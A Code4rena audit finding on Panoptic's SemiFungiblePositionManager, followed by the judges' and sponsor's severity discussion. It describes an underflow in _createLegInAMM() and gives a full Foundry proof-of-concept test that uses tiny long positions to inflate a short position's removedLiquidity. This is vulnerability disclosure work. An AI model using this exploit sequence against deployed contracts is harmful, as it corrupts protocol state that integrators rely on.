Due to underflow in _createLegInAMM() it's possible to create position with huge amount of liquidity

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L979

Vulnerability details

Impact

When burning a Long position, there is an underflow issue in the _createLegInAMM() function. As a result, someone can exploit underflow to turn their Short position with a small amount of liquidity into one that has a huge amount of liquidity (close to 2^128-1) in the removedLiquidity = currentLiquidity.leftSlot() part.

Alice can create a Short position in USDC<>ETH pool for ETH and a few Long positions with a tiny amount. Further, she burns her tokens for the Long position and triggers underflow. From that point, she has a Short position with a huge amount of liquidity without supplying that amount of ETH.

Proof of Concept

1. Alice creates a Short position for ETH in USDC<>ETH pool: asset - ETH, strike - 202265, width - 4095, positionSize - 12300000 wei.
2. Alice creates three Long positions for ETH in USDC<>ETH pool: asset - ETH, strike - 202265, width - 4095, positionSize - 50000 wei. Because positionSize is tiny, Alice will get 50000 amount of ERC1155 token for each mint, but liquidity amount for such tiny position is 0.
3. When 3 Long positions are combined, the amount of liquidity for them is greater than 0.
4. Alice burns 150000 ERC1155 tokens for the Long position. Underflow is triggered.
5. Now Alice has a huge amount of liquidity for her Short position (from step 1).

    // Put this function inside SemiFungiblePositionManager.t.sol
    function test_Underflow() public {
        _initPool(0);

        int24 width = 4095;
        int24 strike = 202265;

        uint256 positionSizeLong = 50000; // small amount => calculated liqudity == 0
        uint256 positionSizeShort = 2300000;

        // USDC<>ETH pool = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640
        address usdcEthPool = address(sfpm.getUniswapV3PoolFromId(poolId));

        // SHORT position = 1 Leg where isLong = 0 - 4th argument
        uint256 tokenIdShort = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 1, 0, 1, 0, strike, width);

        // LONG position = 1 Leg where isLong = 1 - 4th argument
        uint256 tokenIdLong = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 1, 1, 1, 0, strike, width);

        vm.startPrank(Alice);

        // Alice mints SHORT position, liqudity > 0
        sfpm.mintTokenizedPosition(
            tokenIdShort,
            uint128(positionSizeShort),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        (int24 legLowerTick, int24 legUpperTick) = tokenIdShort.asTicks(0, tickSpacing);
        // Alice's liquidity in position
        uint256 shortLiqBefore = sfpm.getAccountLiquidity(
            usdcEthPool,
            Alice,
            tokenIdShort.tokenType(0),
            legLowerTick,
            legUpperTick
        );

        //console.log("shortLiqBefore=%s", shortLiqBefore);

        // Left slot == removedLiquidity is 0
        // Right slot > 0
        require(shortLiqBefore.leftSlot() == 0);
        require(shortLiqBefore.rightSlot() > 0);

        // Alice mints LONG position
        // Due to precision loss, she gets ERC1155 tokens but liqudity is 0
        sfpm.mintTokenizedPosition(
            tokenIdLong,
            uint128(positionSizeLong),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        // Alice mints LONG position
        // Due to precision loss, she gets ERC1155 tokens but liqudity is 0
        sfpm.mintTokenizedPosition(
            tokenIdLong,
            uint128(positionSizeLong),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        // Alice mints LONG position
        // Due to precision loss, she gets ERC1155 tokens but liqudity is 0
        sfpm.mintTokenizedPosition(
            tokenIdLong,
            uint128(positionSizeLong),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        // Now Alice combines amount of 3 mints of LONG position and she has liquidity>0 for that 3x amount

        uint256 bAliceShort = sfpm.balanceOf(Alice, tokenIdShort);
        uint256 bAliceLong = sfpm.balanceOf(Alice, tokenIdLong);

        //console.log("bAliceShort=%s", bAliceShort);
        //console.log("bAliceLong=%s", bAliceLong);

        // Alice burns her ERC1155 tokens for LONG position
        // Underflow happens that affects Alice's SHORT position!!!
        sfpm.burnTokenizedPosition(
            tokenIdLong,
            uint128(bAliceLong),
            TickMath.MIN_TICK,
            TickMath.MAX_TICK
        );

        uint256 shortLiqAfter = sfpm.getAccountLiquidity(
            usdcEthPool,
            Alice,
            tokenIdShort.tokenType(0),
            legLowerTick,
            legUpperTick
        );

        // Left slot == removedLiquidity >> 0 is huge due to underflow!!!
        require(shortLiqAfter.leftSlot() > 2**120);

        vm.stopPrank();
    }

Recommended Mitigation Steps

Inside _createLegInAMM() check that removedLiquidity is greater than chunkLiquidity.

Assessed type

Math

[c4-judge]

Picodes marked the issue as duplicate of #516

[c4-judge]

Picodes marked the issue as selected for report

[c4-sponsor]

dyedm1 marked the issue as disagree with severity

[dyedm1]

This is definitely an issue, but removedLiquidity doesn't actually affect the operations of the SFPM - just the optional data exposed by getAccountPremium for Panoptic to use. Panoptic only allows exactly the amount of the token you have minted, so you can't combine them or execute this attack on Panoptic. So the impact of this is rather low/med because it only allows you to screw up your own premium calculations, which is not used for anything/doesn't matter unless you're the Panoptic protocol.

[c4-sponsor]

dyedm1 (sponsor) confirmed

[Picodes]

As the SFPM is meant to be used by other protocols than Panoptic itself and as there is really an issue here impacting an important function, Medium severity seems justified.

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[c4-judge]

Picodes marked issue #516 as primary and marked this issue as a duplicate of 516

[Picodes]

No impact is described in this report aside from the contract's state being wrong